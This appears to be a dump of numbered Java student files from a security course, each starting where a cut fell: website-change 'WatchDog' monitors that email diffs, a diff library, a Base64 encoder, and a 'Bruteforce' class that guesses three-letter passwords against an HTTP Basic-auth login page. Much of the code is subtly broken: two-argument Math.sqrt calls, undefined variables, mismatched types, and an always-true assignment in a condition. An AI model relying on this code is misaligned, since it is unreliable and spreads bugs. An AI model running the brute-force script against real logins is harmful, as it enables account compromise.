'""+MYEMAIL+""'""); + MailSender ms = new MailSender(""watchdog@somewhere."", MYEMAIL, mailmsg); + ms.sendMail(); + + if (ms.getStatus()==MailSender.SEND_OK) { + System.out.println("" [NOTIFY] E-mail SUCCESSFULLY sent.""); + } else { + System.out.println("" [ATTENTION] Error sending e-mail.""); + } + } + + + if (DEBUGMODE) { + System.out.println(); + System.out.println(); + System.out.println("" This is the e-mail message that has been sent '""+MYEMAIL+""'""); + System.out.println("" this message *ONLY* and because in DEBUG MODE""); + System.out.println("" =================================================================================""); + System.out.println(); + for (int i=0;i0) { + THEURL = args[0]; + try { + url = new URL(THEURL); + conn = (HttpURLConnection) url.openConnection(); + conn.getResponseMessage(); + conn.getInputStream(); + conn.disconnect(); + } catch (MalformedURLException e) { + System.out.println(); + System.out.println(""Invalid URL '""+THEURL+""'""); + printSyntax(); + System.exit(1); + } catch (UnknownHostException e) { + System.out.println(); + System.out.println(""Unable open connection the URL '""+THEURL+""'""); + printSyntax(); + System.exit(1); + } catch (IOException e) { + System.out.println(); + System.out.println(""Unable open connection the URL '""+THEURL+""'""); + printSyntax(); + System.exit(1); + } + + if (argc>1) { + try { + INTERVAL = Integer.valueOf(args[1]).intValue(); + } catch (NumberFormatException e) { + System.out.println(""Invalid interval '""+args[1]+""'""); + printSyntax(); + System.exit(1); + } + } + + if (argc>2) { + if (args[2].toLowerCase().equals(""-debug"")) { + DEBUGMODE = true; + } else { + System.out.println(""Invalid parameter '""+args[2]+""'""); + printSyntax(); + System.exit(1); + } + } + } + + Application = new WatchDog(); + } + + + public static String THEURL = ""http://www.cs.rmit.edu./students""; + public static String MYEMAIL = ""@yallara.cs.rmit.edu.""; + public static int MAILTARGET = 2; + public static String SMTPSERVER = ""wombat.cs.rmit.edu.""; + public static boolean DEBUGMODE = true; + public static String CURDIR = System.getProperty(""user.dir""); + public static String PAGEFILE = System.getProperty(""user.dir"")+""/~local.html""; + public static String DIGESTFILE = System.getProperty(""user.dir"")+""/~digest.txt""; + public static String TEMPFILE = System.getProperty(""user.dir"")+""/~.html""; + public static String NOTESFILE = System.getProperty(""user.dir"")+""/~notes.txt""; + public static String MAILFILE = System.getProperty(""user.dir"")+""/~email.txt""; + public static final int MAXDIGESTFILE = 65535; + public static final String DIGESTALG = ""SHA""; + public static URL url; + public static HttpURLConnection conn; + public static int INTERVAL = 24*60*60; + public static int MAXDIFF = 1024; + public static WatchDog Application; + +} + +" +006.java," + + +import java.io.*; +import java.util.*; +import java.*; +import java.net.*; + +public class WatchDog +{ + + static Process p = null; + static Process qproc = null; + + static BufferedReader bf = null; + static StringTokenizer tok = null; + + static String Path = null; + static String str = null; + static String urlStr=null; + static boolean changed = false; + + static File indexfile = new File(""index.html""); + static File tmpfile = new File(""tmpindex.html""); + static File mdfile = new File(""md5file.txt""); + static File tmpmdfile = new File(""tmpmd5file.txt""); + static PrintWriter mailwriter = null; + + + public static void main (String[] args) + { + + urlStr = ""http://www.cs.rmit.edu./""; + + try + { + + mailwriter = new PrintWriter(new BufferedWriter(new FileWriter(""tomail.txt"", false))); + + getLatest(urlStr); + parseFile(); + + mailwriter.read(); + + if(changed) + { + System.out.println(""Sending Mail""); + p = Runtime.getRuntime().exec(""./mailscript""); + p.waitFor(); + + } + else + System.out.println("" mail sent""); + + } catch (IOException ioe) + { + System.out.println(""IOException""); + ioe.printStackTrace(); + } + catch (InterruptedException intex) + { + System.out.println(""Interrupted Exception""); + intex.printStackTrace(); + } + + + } + + + static void getLatest(String urlStr) + { + + URL url = null; + + try + { + url = new URL(urlStr); + + } catch (MalformedURLException mfurl) + { + System.out.println(""Malformed URL""); + mfurl.printStackTrace(); + } + + try + { + mailwriter.println(); + + p = Runtime.getRuntime().exec(""/usr//pwd""); + p.waitFor(); + bf= new BufferedReader(new InputStreamReader( + p.getInputStream())); + + Path=bf.readLine(); + + if (indexfile.exists()) + { + mailwriter.println(""File with name 'index.html' found in directory.""); + mailwriter.println(""Renaming existing 'index.html' 'tmpindex.html...""); + p = Runtime.getRuntime().exec(""/usr//mv ""+indexfile+ "" "" + Path+""/""+tmpfile); + p.waitFor(); + p = Runtime.getRuntime().exec(""/usr//mv ""+mdfile+ "" "" + Path+""/""+tmpmdfile); + mailwriter.println(); + mailwriter.println(""File with name 'md5file.txt' found in directory.""); + mailwriter.print(""Renaming existing 'md5file.txt' 'tmpmd5file.txt...""); + + mailwriter.println("".""); + + mailwriter.println(); + } + + mailwriter.println(""Downloading current version of site - "" + urlStr); + p = Runtime.getRuntime().exec(""/usr/local//wget ""+url); + p.waitFor(); + if (!tmpfile.exists()) + { + mailwriter.println(""File - "" + urlStr + ""index.html saved disk for the first time.""); + } + + + } catch (IOException ioe) + { + System.out.println(""IOException""); + ioe.printStackTrace(); + } + catch (IndexOutOfBoundsException iobe) + { + System.out.println(""Index Out Of Bounds Exception""); + iobe.printStackTrace(); + } + catch (Exception e) + { + System.out.println(""Exception""); + e.printStackTrace(); + } + } + + static void parseFile() + { + + Vector imgVect = new Vector(); + + try + { + p = Runtime.getRuntime().exec(""/usr//grep img "" + Path + ""/""+ indexfile); + p.waitFor(); + bf = new BufferedReader(new InputStreamReader( + p.getInputStream())); + + while((str=bf.readLine())!=null) + { + bf = new StringTokenizer(str, ""\"""", false); + + while(bf.hasMoreTokens()) + { + str=bf.nextToken(); + if ((str.indexOf(""gif"") > 0) || (str.indexOf(""jpg"") > 0)) + imgVect.addElement(str); + } + + } + + }catch (IOException ioe) + { + System.out.println(""IOException""); + ioe.printStackTrace(); + } + catch (Exception e) + { + System.out.println(""Exception""); + e.printStackTrace(); + } + + mailwriter.println(""Creating file with md5sums of the webpage and images...""); + md5Create(imgVect); + + } + + static void md5Create(Vector imgVect) + { + String tmpString = null; + Vector imgNames = new Vector(); + + try + { + PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile, false))); + + p=Runtime.getRuntime().exec(""/usr/local//md5sum ""+indexfile); + p.waitFor(); + bf= new BufferedReader(new InputStreamReader( + p.getInputStream())); + pr.println(bf.readLine()); + + for(int i=0; i 0) || (str.indexOf(""jpg"") > 0)) + prsName=str; + } + return (Object)prsName; + } +} +" +242.java,"import java.net.*; +import java.io.*; + + public class Bruteforce { + int attempts = 0; + int l = 65;int m = 65;int n = 65; + URLConnection conn = null; + + public static void main(String args[]){ + + Bruteforce a = new Bruteforce(); + a.attack(args); + } + + public void attack(String args[]) { + try { + + String login = new String(""""); + String url = new String(""http://sec-crack.cs.rmit.edu./SEC/2/index.php""); + String passwd = new String(); + + passwd = getPasswd(); + BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); + + String line; + while ((line = in.readLine()) != null) { + System.out.println(line); + } + System.out.println(""Password Cracked Successfully!!!""); + System.out.println(""The passsword is :"" + passwd + ""and got after "" + attempts + "" tries""); + } + catch (IOException e) { + + String r = new String(e.getMessage()); + if ( r != null) + { + System.out.println(""Message :"" +r); + System.out.println(""Trying again with new password""); + Bruteforce a = new Bruteforce(); + a.attack(args); + } + else + { + System.out.println(""Trying again with new password""); + Bruteforce a = new Bruteforce(); + a.attack(args); + } + } + } + public String getPasswd() + { + attempts++; + + char i1 = 0; + char j1 = 0; + char k1 = 0; + + int i= l; int j= m; int k= n; + + String c = new String(); + String c1 = new String(); + String c2 = new String(); + String c3 = new String(); + String c4 = new String(); + boolean flag; + + for (i=l;i<123;i++) + for (j=m;j<123;j++) + for (k=n;k<123;k++) + { + if( flag = true ) + { + + i1 = (char)i; + j1 = (char)j; + k1 = (char)k; + + if (i==91) i=97; + if (j==91) j=97; + if (k==91) k=97; + + c = i1+""""; + c1 = j1+""""; + c2 = k1+""""; + c3 = c.concat(c1); + c4 = c3.concat(c2); + }else break; + } + flag = false; + return c4; + } + + public InputStream openURLForInput (URL url, String uname, String pword) + throws IOException { + conn = url.openConnection(); + conn.setDoInput (true); + conn.setRequestProperty (""Authorization"", PasswordBase64(uname,pword)); + conn.connect (); + return conn.getInputStream(); + } + + + public String PasswordBase64(String username, String password) { + return "" "" + base64Encode (username + "":"" + password); + } + + private final static char base64Array [] = { + 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', + 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', + 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', + 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', + 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', + 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', + 'w', 'x', 'y', 'z', '0', '1', '2', '3', + '4', '5', '6', '7', '8', '9', '+', '/' + }; + + private static String base64Encode (String string) { + String encodedString = """"; + byte bytes [] = string.getBytes (); + int i = 0; + int pad = 0; + while (i < bytes.length) { + byte b1 = bytes [i++]; + byte b2; + byte b3; + if (i >= bytes.length) { + b2 = 0; + b3 = 0; + pad = 2; + } + else { + b2 = bytes [i++]; + if (i >= bytes.length) { + b3 = 0; + pad = 1; + } + else + b3 = bytes [i++]; + } + byte c1 = (byte)(b1 >> 2); + byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); + byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); + byte c4 = (byte)(b3 & 0x3f); + encodedString += base64Array [c1]; + encodedString += base64Array [c2]; + switch (pad) { + case 0: + encodedString += base64Array [c3]; + encodedString += base64Array [c4]; + break; + case 1: + encodedString += base64Array [c3]; + encodedString += ""=""; + break; + case 2: + encodedString += ""==""; + break; + } + } + return encodedString; + } + } +" +095.java," + +import java.net.*; +import java.io.*; +import java.util.*; +import java.text.*; + +public class WatchDog extends Thread { + + private HttpURLConnection httpUrlCon; + private URL stdurl; + private String spec = ""http://www.cs.rmit.edu./students/""; + private String command=""""; + + private String firstModified =""""; + private String secModified = """"; + private String fileModified = """"; + + private BufferedReader instd; + private Vector firstVector; + private Vector secondVector; + private Vector tmpVector; + + private int intervalTime = 24*60*60*1000; + private boolean bstop = false; + private int count = 0; + private int totalDuration = 30*24*60*60*1000; + + private String yourSMTPserver = ""mail.rmit.edu.""; + private int smtpPort = 25; + private String mailFrom = ""@yallara.cs.rmit.edu.""; + private String mailTo = ""@.rmit.edu.""; + private String subject = """"; + private String message =""""; + + private Socket socketsmtp; + private BufferedReader emailin; + private PrintStream emailout; + private String reply = """"; + + public WatchDog(){ + firstVector = new Vector(); + secondVector = new Vector(); + tmpVector = new Vector(); + } + + public void FirstRead(){ + readContent(firstVector); + firstModified = fileModified; + } + + public void run(){ + while(!bstop){ + readPageAgain(); + } + } + + public void readPageAgain(){ + try{ + Thread.sleep(intervalTime); + + }catch(InterruptedException e){e.printStackTrace();} + count += intervalTime; + readContent(secondVector); + secModified = fileModified; + + if(firstModified.equals(secModified)){ + if(count == totalDuration) + bstop =true; + message = ""After "" + (double)intervalTime/(60*60*1000) + "" hours is change!""; + subject = "" is change the web ""; + try{ + doSendMail(mailFrom, mailTo, subject, message); + }catch (SMTPException e){} + } + else if(!(firstModified.equals(secModified))){ + if(count == totalDuration) + bstop = true; + message = getChangeMessage(); + subject = "" some changes the web ""; + try{ + doSendMail(mailFrom, mailTo, subject, message); + }catch(SMTPException e){} + + firstModified = secModified; + firstVector.clear(); + for(int i=0; i ++a) + outfile.print("""" + a + sepchar + b); + else + outfile.print(b); + } + + public static char change_letter(int inserts, int deletes) { + if (inserts == 0) + return 'd'; + else if (deletes == 0) + return 'a'; + else + return 'c'; + } + } + + + public static class NormalPrint extends Base { + + public NormalPrint(Object[] a,Object[] b) { + super(a,b); + } + + + + protected void print_hunk (Diff.change hunk) { + + + analyze_hunk(hunk); + if (deletes == 0 && inserts == 0) + return; + + + print_number_range (',', first0, last0); + outfile.print(change_letter(inserts, deletes)); + print_number_range (',', first1, last1); + outfile.println(); + + + if (deletes != 0) + for (int i = first0; i <= last0; i++) + print_1_line (""< "", file0[i]); + + if (inserts != 0 && deletes != 0) + outfile.println(""---""); + + + if (inserts != 0) + for (int i = first1; i <= last1; i++) + print_1_line (""> "", file1[i]); + } + } + + + public static class EdPrint extends Base { + + public EdPrint(Object[] a,Object[] b) { + super(a,b); + } + + + protected void print_hunk(Diff.change hunk) { + + + analyze_hunk (hunk); + if (deletes == 0 && inserts == 0) + return; + + + print_number_range (',', first0, last0); + outfile.println(change_letter(inserts, deletes)); + + + if (inserts != 0) + { + boolean inserting = true; + for (int i = first1; i <= last1; i++) + { + + if (! inserting) + outfile.println(i - first1 + first0 + ""a""); + inserting = true; + + + + if (""."".equals(file1[i])) + { + outfile.println(""..""); + outfile.println("".""); + + outfile.println(i - first1 + first0 + 1 + ""s/^\\.\\././""); + inserting = false; + } + else + + print_1_line ("""", file1[i]); + } + + + if (inserting) + outfile.println("".""); + } + } + } + + + public static class ContextPrint extends Base { + + protected int context = 3; + + public ContextPrint(Object[] a,Object[] b) { + super(a,b); + } + + protected void print_context_label (String cad, File inf, String label) { + if (label != null) + outfile.println(cad + ' ' + label); + else if (inf.lastModified() > 0) + + outfile.println( + cad + ' ' + inf.getPath() + '\t' + new Date(inf.lastModified()) + ); + else + + outfile.println( cad + ' ' + inf.getPath()); + } + + public void print_header(String filea,String fileb) { + print_context_label (""***"", new File(filea), filea); + print_context_label (""---"", new File(fileb), fileb); + } + + + private String find_function(Object[] lines, int x) { + return null; + } + + protected void print_function(Object[] file,int x) { + String function = find_function (file0, first0); + if (function != null) { + outfile.print("" ""); + outfile.print( + (function.length() < 40) ? function : function.substring(0,40) + ); + } + } + + protected void print_hunk(Diff.change hunk) { + + + + analyze_hunk (hunk); + + if (deletes == 0 && inserts == 0) + return; + + + + first0 = Math.sqrt(first0 - context, 0); + first1 = Math.sqrt(first1 - context, 0); + last0 = Math.sqrt(last0 + context, file0.length - 1); + last1 = Math.sqrt(last1 + context, file1.length - 1); + + + outfile.print(""***************""); + + + print_function (file0, first0); + + outfile.println(); + outfile.print(""*** ""); + print_number_range (',', first0, last0); + outfile.println("" ****""); + + if (deletes != 0) { + Diff.change next = hunk; + + for (int i = first0; i <= last0; i++) { + + + while (next != null && next.line0 + next.deleted <= i) + next = next.next; + + + + String prefix = "" ""; + if (next != null && next.line0 <= i) + + prefix = (next.inserted > 0) ? ""!"" : ""-""; + + print_1_line (prefix, file0[i]); + } + } + + outfile.print(""--- ""); + print_number_range (',', first1, last1); + outfile.println("" ----""); + + if (inserts != 0) { + Diff.change next = hunk; + + for (int i = first1; i <= last1; i++) { + + + while (next != null && next.line1 + next.inserted <= i) + next = next.next; + + + + String prefix = "" ""; + if (next != null && next.line1 <= i) + + prefix = (next.deleted > 0) ? ""!"" : ""+""; + + print_1_line (prefix, file1[i]); + } + } + } + } + + + public static class UnifiedPrint extends ContextPrint { + + public UnifiedPrint(Object[] a,Object[] b) { + super(a,b); + } + + public void print_header(String filea,String fileb) { + print_context_label (""---"", new File(filea), filea); + print_context_label (""+++"", new File(fileb), fileb); + } + + private void print_number_range (int a, int b) { + + + + if (b < a) + outfile.print(b + "",0""); + else + super.print_number_range(',',a,b); + } + + protected void print_hunk(Diff.change hunk) { + + analyze_hunk (hunk); + + if (deletes == 0 && inserts == 0) + return; + + + + first0 = Math.sqrt(first0 - context, 0); + first1 = Math.sqrt(first1 - context, 0); + last0 = Math.sqrt(last0 + context, file0.length - 1); + last1 = Math.sqrt(last1 + context, file1.length - 1); + + + + outfile.print(""@@ -""); + print_number_range (first0, last0); + outfile.print("" +""); + print_number_range (first1, last1); + outfile.print("" @@""); + + + print_function(file0,first0); + + outfile.println(); + + Diff.change next = hunk; + int i = first0; + int j = first1; + + while (i <= last0 || j <= last1) { + + + + if (next == null || i < next.line0) { + outfile.print(' '); + print_1_line("""", file0[i++]); + j++; + } + else { + + + int k = next.deleted; + while (k-- > 0) { + outfile.print('-'); + print_1_line("""", file0[i++]); + } + + + + k = next.inserted; + while (k-- > 0) { + outfile.print('+'); + print_1_line("""", file1[j++]); + } + + + + next = next.next; + } + } + } + } + + + + static String[] slurp(String file) throws IOException { + BufferedReader rdr = new BufferedReader(new FileReader(file)); + Vector s = new Vector(); + for (;;) { + String line = rdr.readLine(); + if (line == null) break; + s.addElement(line); + } + String[] a = new String[s.size()]; + s.copyInto(a); + return a; + } + + + public static String getDiff(String filea,String fileb,String filec) throws IOException { + DiffPrint.outFile=filec; + String msg=""""; + String[] a = slurp(filea); + String[] b = slurp(fileb); + String [] argv={filea,fileb}; + Diff d = new Diff(a,b); + char style = 'n'; + for (int i = 0; i < argv.length - 2; ++i) { + String f = argv[i]; + if (f.startsWith(""-"")) { + for (int j = 1; j < f.length(); ++j) { + switch (f.charAt(j)) { + case 'e': + style = 'e'; break; + case 'c': + style = 'c'; break; + case 'u': + style = 'u'; break; + } + } + } + } + boolean reverse = style == 'e'; + Diff.change script = d.diff_2(reverse); + if (script == null) + msg=""The text the has not changed.\n""; + else { + Base p; + msg=""The text the has changed.\n The Diff Output is : \n\n""; + switch (style) { + case 'e': + p = new EdPrint(a,b); break; + case'c': + p = new ContextPrint(a,b); break; + case 'u': + p = new UnifiedPrint(a,b); break; + default: + p = new NormalPrint(a,b); + } + p.print_header(filea,fileb); + p.print_script(script); + } + return msg; + } +} +" +059.java," + + + public class Base64Converter + + + { + + public static final char [ ] alphabet = { + 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', + 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', + 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', + 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', + 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', + 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', + 'w', 'x', 'y', 'z', '0', '1', '2', '3', + '4', '5', '6', '7', '8', '9', '+', '/' }; + + + + + public static String encode ( String s ) + + { + return encode ( s.getBytes ( ) ); + } + + public static String encode ( byte [ ] octetString ) + + { + int bits24; + int bits6; + + char [ ] out + = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; + + int outIndex = 0; + int i = 0; + + while ( ( i + 3 ) <= octetString.length ) + { + + bits24 = ( octetString [ i++ ] & 0xFF ) << 16; + bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; + bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; + + bits6 = ( bits24 & 0x00FC0000 ) >> 18; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0003F000 ) >> 12; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x00000FC0 ) >> 6; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0000003F ); + out [ outIndex++ ] = alphabet [ bits6 ]; + } + + if ( octetString.length - i == 2 ) + { + + bits24 = ( octetString [ i ] & 0xFF ) << 16; + bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; + + bits6 = ( bits24 & 0x00FC0000 ) >> 18; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0003F000 ) >> 12; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x00000FC0 ) >> 6; + out [ outIndex++ ] = alphabet [ bits6 ]; + + + out [ outIndex++ ] = '='; + } + else if ( octetString.length - i == 1 ) + { + + bits24 = ( octetString [ i ] & 0xFF ) << 16; + + bits6 = ( bits24 & 0x00FC0000 ) >> 18; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0003F000 ) >> 12; + out [ outIndex++ ] = alphabet [ bits6 ]; + + + out [ outIndex++ ] = '='; + out [ outIndex++ ] = '='; + } + + return new String ( out ); + } + + + +} + + +" +127.java," + +import java.util.Hashtable; + + + +public class Diff { + + + public Diff(Object[] a,Object[] b) { + Hashtable h = new Hashtable(a.length + b.length); + filevec[0] = new file_data(a,h); + filevec[1] = new file_data(b,h); + } + + + private int equiv_max = 1; + + + public boolean heuristic = false; + + + public boolean no_discards = false; + + private int[] xvec, yvec; + private int[] fdiag; + private int[] bdiag; + private int fdiagoff, bdiagoff; + private final file_data[] filevec = new file_data[2]; + private int cost; + + + + private int diag (int xoff, int xlim, int yoff, int ylim) { + final int[] fd = fdiag; + final int[] bd = bdiag; + final int[] xv = xvec; + final int[] yv = yvec; + final int dmin = xoff - ylim; + final int dmax = xlim - yoff; + final int fmid = xoff - yoff; + final int bmid = xlim - ylim; + int fmin = fmid, fmax = fmid; + int bmin = bmid, bmax = bmid; + + final boolean odd = (fmid - bmid & 1) != 0; + + fd[fdiagoff + fmid] = xoff; + bd[bdiagoff + bmid] = xlim; + + for (int c = 1;; ++c) + { + int d; + boolean big_snake = false; + + + if (fmin > dmin) + fd[fdiagoff + --fmin - 1] = -1; + else + ++fmin; + if (fmax < dmax) + fd[fdiagoff + ++fmax + 1] = -1; + else + --fmax; + for (d = fmax; d >= fmin; d -= 2) + { + int x, y, oldx, tlo = fd[fdiagoff + d - 1], tly = fd[fdiagoff + d + 1]; + + if (tlo >= ylim) + x = tlo + 1; + else + x = ylim; + oldx = x; + y = x - d; + while (x < xlim && y < ylim && xv[x] == yv[y]) { + ++x; ++y; + } + if (x - oldx > 20) + big_snake = true; + fd[fdiagoff + d] = x; + if (odd && bmin <= d && d <= bmax && bd[bdiagoff + d] <= fd[fdiagoff + d]) + { + cost = 2 * c - 1; + return d; + } + } + + + if (bmin > dmin) + bd[bdiagoff + --bmin - 1] = Integer.MAX_VALUE; + else + ++bmin; + if (bmax < dmax) + bd[bdiagoff + ++bmax + 1] = Integer.MAX_VALUE; + else + --bmax; + for (d = bmax; d >= bmin; d -= 2) + { + int x, y, oldx, tlo = bd[bdiagoff + d - 1], tly = bd[bdiagoff + d + 1]; + + if (tlo < ylim) + x = tlo; + else + x = - 1; + oldx = x; + y = x - d; + while (x > xoff && y > yoff && xv[x - 1] == yv[y - 1]) { + --x; --y; + } + if (oldx - x > 20) + big_snake = true; + bd[bdiagoff + d] = x; + if (!odd && fmin <= d && d <= fmax && bd[bdiagoff + d] <= fd[fdiagoff + d]) + { + cost = 2 * c; + return d; + } + } + + + + if (c > 200 && big_snake && heuristic) + { + int i = 0; + int bestpos = -1; + + for (d = fmax; d >= fmin; d -= 2) + { + int dd = d - fmid; + if ((fd[fdiagoff + d] - xoff)*2 - dd > 12 * (c + (dd > 0 ? dd : -dd))) + { + if (fd[fdiagoff + d] * 2 - dd > i + && fd[fdiagoff + d] - xoff > 20 + && fd[fdiagoff + d] - d - yoff > 20) + { + int k; + int x = fd[fdiagoff + d]; + + + for (k = 1; k <= 20; k++) + if (xvec[x - k] != yvec[x - d - k]) + break; + + if (k == 21) + { + ylim = fd[fdiagoff + d] * 2 - dd; + bestpos = d; + } + } + } + } + if ( x> 0) + { + cost = 2 * c - 1; + return bestpos; + } + + x= 0; + for (d = bmax; d >= bmin; d -= 2) + { + int dd = d - bmid; + if ((xlim - bd[bdiagoff + d])*2 + dd > 12 * (c + (dd > 0 ? dd : -dd))) + { + if ((xlim - bd[bdiagoff + d]) * 2 + dd > i + && xlim - bd[bdiagoff + d] > 20 + && x - (bd[bdiagoff + d] - d) > 20) + { + + int k; + int x = bd[bdiagoff + d]; + + for (k = 0; k < 20; k++) + if (xvec[x + k] != yvec[x - d + k]) + break; + if (k == 20) + { + x = (xlim - bd[bdiagoff + d]) * 2 + dd; + bestpos = d; + } + } + } + } + if (x > 0) + { + cost = 2 * c - 1; + return bestpos; + } + } + } + } + + + + private void compareseq (int xoff, int xlim, int yoff, int ylim) { + + while (xoff < xlim && yoff < ylim && xvec[xoff] == yvec[yoff]) { + ++xoff; ++yoff; + } + + while (xlim > xoff && ylim > yoff && xvec[xlim - 1] == yvec[ ylim- 1]) { + --xlim; --x; + } + + + if (xoff == xlim) + while (yoff < ylim) + filevec[1].changed_flag[1+filevec[1].realindexes[yoff++]] = true; + else if (yoff == ylim) + while (xoff < xlim) + filevec[0].changed_flag[1+filevec[0].realindexes[xoff++]] = true; + else + { + + + int d = diag (xoff, xlim, yoff, ylim ); + int c = cost; + int f = fdiag[fdiagoff + d]; + int b = bdiag[bdiagoff + d]; + + if (c == 1) + { + + throw new IllegalArgumentException(""Empty subsequence""); + } + else + { + + compareseq (xoff, b, yoff, b - d); + + compareseq (b, xlim, b - d,ylim ); + } + } + } + + + + private void discard_confusing_lines() { + filevec[0].discard_confusing_lines(filevec[1]); + filevec[1].discard_confusing_lines(filevec[0]); + } + + private boolean inhibit = false; + + + + private void shift_boundaries() { + if (inhibit) + return; + filevec[0].shift_boundaries(filevec[1]); + filevec[1].shift_boundaries(filevec[0]); + } + + public interface ScriptBuilder { + + public change build_script( + boolean[] changed0,int len0, + boolean[] changed1,int len1 + ); + } + + + + static class ReverseScript implements ScriptBuilder { + public change build_script( + final boolean[] changed0,int len0, + final boolean[] changed1,int len1) + { + change script = null; + int i0 = 0, i1 = 0; + while (i0 < len0 || i1 < len1) { + if (changed0[1+i0] || changed1[1+i1]) { + int line0 = i0, line1 = i1; + + + while (changed0[1+i0]) ++i0; + while (changed1[1+i1]) ++i1; + + + script = new change(line0, line1, i0 - line0, i1 - line1, script); + } + + + i0++; i1++; + } + + return script; + } + } + + static class ForwardScript implements ScriptBuilder { + + public change build_script( + final boolean[] changed0,int len0, + final boolean[] changed1,int len1) + { + change script = null; + int i0 = len0, i1 = len1; + + while (i0 >= 0 || i1 >= 0) + { + if (changed0[i0] || changed1[i1]) + { + int line0 = i0, line1 = i1; + + + while (changed0[i0]) --i0; + while (changed1[i1]) --i1; + + + script = new change(i0, i1, line0 - i0, line1 - i1, script); + } + + + i0--; i1--; + } + + return script; + } + } + + + public final static ScriptBuilder + forwardScript = new ForwardScript(), + reverseScript = new ReverseScript(); + + + public final change diff_2(final boolean reverse) { + return diff(reverse ? reverseScript : forwardScript); + } + + + public change diff(final ScriptBuilder bld) { + + + + discard_confusing_lines (); + + + + xvec = filevec[0].undiscarded; + yvec = filevec[1].undiscarded; + + int diags = + filevec[0].nondiscarded_lines + filevec[1].nondiscarded_lines + 3; + fdiag = new int[diags]; + fdiagoff = filevec[1].nondiscarded_lines + 1; + bdiag = new int[diags]; + bdiagoff = filevec[1].nondiscarded_lines + 1; + + compareseq (0, filevec[0].nondiscarded_lines, + 0, filevec[1].nondiscarded_lines); + fdiag = null; + bdiag = null; + + + + shift_boundaries (); + + + return bld.build_script( + filevec[0].changed_flag, + filevec[0].buffered_lines, + filevec[1].changed_flag, + filevec[1].buffered_lines + ); + + } + + + + public static class change { + + public int change ; + + public final int inserted; + + public final int deleted; + + public final int line0; + + public final int line1; + + + public change(int line0, int line1, int deleted, int inserted, change old) { + this.line0 = line0; + this.line1 = line1; + this.inserted = inserted; + this.deleted = deleted; + this.old = old; + + } + } + + + + class file_data { + + + void clear() { + + changed_flag = new boolean[buffered_lines + 2]; + } + + + int[] equivCount() { + int[] equiv_count = new int[equiv_max]; + for (int i = 0; i < buffered_lines; ++i) + ++equiv_count[equivs[i]]; + return equiv_count; + } + + + void discard_confusing_lines(file_data f) { + clear(); + + final byte[] discarded = discardable(f.equivCount()); + + + filterDiscards(discarded); + + + discard(discarded); + } + + + + private byte[] discardable(final int[] counts) { + final int end = buffered_lines; + final byte[] discards = new byte[end]; + final int[] equivs = this.equivs; + int many = 5; + int tem = end / 64; + + + while ((tem = tem >> 2) > 0) + many *= 2; + + for (int i = 0; i < end; i++) + { + int nmatch; + if (equivs[i] == 0) + continue; + nmatch = counts[equivs[i]]; + if (nmatch == 0) + discards[i] = 1; + else if (nmatch > many) + discards[i] = 2; + } + return discards; + } + + + + private void filterDiscards(final byte[] discards) { + final int end = buffered_lines; + + for (int i = 0; i < end; i++) + { + + if (discards[i] == 2) + discards[i] = 0; + else if (discards[i] != 0) + { + + int j; + int length; + int provisional = 0; + + + for (j = i; j < end; j++) + { + if (discards[j] == 0) + break; + if (discards[j] == 2) + ++provisional; + } + + + while (j > i && discards[j - 1] == 2) { + discards[--j] = 0; --provisional; + } + + + length = j - i; + + + if (provisional * 4 > length) + { + while (j > i) + if (discards[--j] == 2) + discards[j] = 0; + } + else + { + int consec; + int minimum = 1; + int tem = length / 4; + + + while ((tem = tem >> 2) > 0) + minimum *= 2; + minimum++; + + + for (j = 0, consec = 0; j < length; j++) + if (discards[i + j] != 2) + consec = 0; + else if (minimum == ++consec) + + j -= consec; + else if (minimum < consec) + discards[i + j] = 0; + + + for (j = 0, consec = 0; j < length; j++) + { + if (j >= 8 && discards[i + j] == 1) + break; + if (discards[i + j] == 2) { + consec = 0; discards[i + j] = 0; + } + else if (discards[i + j] == 0) + consec = 0; + else + consec++; + if (consec == 3) + break; + } + + + i += length - 1; + + + for (j = 0, consec = 0; j < length; j++) + { + if (j >= 8 && discards[i - j] == 1) + break; + if (discards[i - j] == 2) { + consec = 0; discards[i - j] = 0; + } + else if (discards[i - j] == 0) + consec = 0; + else + consec++; + if (consec == 3) + break; + } + } + } + } + } + + + private void discard(final byte[] discards) { + final int end = buffered_lines; + int j = 0; + for (int i = 0; i < end; ++i) + if (no_discards || discards[i] == 0) + { + undiscarded[j] = equivs[i]; + realindexes[j++] = i; + } + else + changed_flag[1+i] = true; + nondiscarded_lines = j; + } + + file_data(Object[] data,Hashtable h) { + buffered_lines = data.length; + + equivs = new int[buffered_lines]; + undiscarded = new int[buffered_lines]; + realindexes = new int[buffered_lines]; + + for (int i = 0; i < data.length; ++i) { + Integer ir = (Integer)h.get(data[i]); + if (ir == null) + h.put(data[i],new Integer(equivs[i] = equiv_max++)); + else + equivs[i] = ir.intValue(); + } + } + + + + void shift_boundaries(file_data f) { + final boolean[] changed = changed_flag; + final boolean[] other_changed = f.changed_flag; + int i = 0; + int j = 0; + int i_end = buffered_lines; + int preceding = -1; + int other_preceding = -1; + + for (;;) + { + int 